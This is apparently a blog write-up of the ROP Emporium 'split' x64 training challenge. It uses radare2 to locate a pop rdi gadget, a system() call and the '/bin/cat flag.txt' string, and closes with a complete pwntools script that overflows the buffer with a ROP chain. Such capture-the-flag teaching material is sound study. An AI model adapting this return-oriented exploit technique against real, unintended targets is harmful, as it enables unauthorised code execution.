Post

ROP Emporium split Writeup (x64)

ROP Emporium split Writeup (x64)

Introduction

ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the second challenge of eight.

According to the challenge page our goal is to call system with the argument /bin/cat flag.txt. This string is also present in the binary!

This is what a hint will look like!

x64 Calling Convention

We know from the first challenge we need to set the instruction pointer to a function address in order to call that function. But how do we pass arguments to those functions?

In x64 arguments are passed through specific registers. The first three arguments correspond to the rdi, rsi, and rdx registers respectively. This x64 cheat sheet can help if you want to learn more about x64.

Exploit Crafting

The offset for x64 challenges will be 40 bytes. If you want to know how to get this value see the ret2win writeup

Function Address

Is there an address where system() is called?

Using radare2 we can analyze a binary by running aaa. To list functions with their addresses we can run afl ret2win-addr

Let’s investigate usefulFunction. We can view the assembly with the following commands

1
2
3
s sym.usefulFunction
V
p

useful-asm

This function seems to call the system() function with the argument /bin/ls. We want to change the argument but let’s take note of the call address 0x0040074b

Setting Arguments

Find a gadget which sets the rdi register

According to the x64 calling convention, a function’s first argument is passed through the rdi register. In order to set this value we need to find a pop rdi gadget which will take a value off of the stack and place it into rdi

We can search for ROP gadgets in radare2 with the /R command

1
/R pop rdi

rdi-addr

The address of our gadget is 0x004007c3. Once we call this gadget, we’ll need to pass the address of the string we want to execute onto the stack.

String Address

The string /bin/cat flag.txt exists in the binary

Using radare2 again we can search for case insensitive strings with the /i command. So to find the address of /bin/cat flag.txt we run

1
/i /bin/cat flag.txt

cat-addr

Awesome the address of the string is 0x00601060

Exploit

Now we have everything we need to build the exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/python3
from pwn import *

# useful addresses
str_addr = 0x00601060
sys_addr = 0x0040074b
pop_rdi_addr = 0x004007c3

# create payload
payload = b'A' * 40
# set arg1 (pop rdi)
payload += p64(pop_rdi_addr)
payload += p64(str_addr)
# call sys
payload += p64(sys_addr)

# send payload + receive flag
io = process('./split')
io.recv()
io.sendline(payload)
print(io.recvline())
success(io.recvline())

flag

Conclusion

This challenge takes things a step further than just calling an arbitrary function by introducting the ability to set arbitrary arguments for that function.

Previous Challenge (ret2win)

Next Challenge (callme)

split x86

This post is licensed under CC BY 4.0 by the author.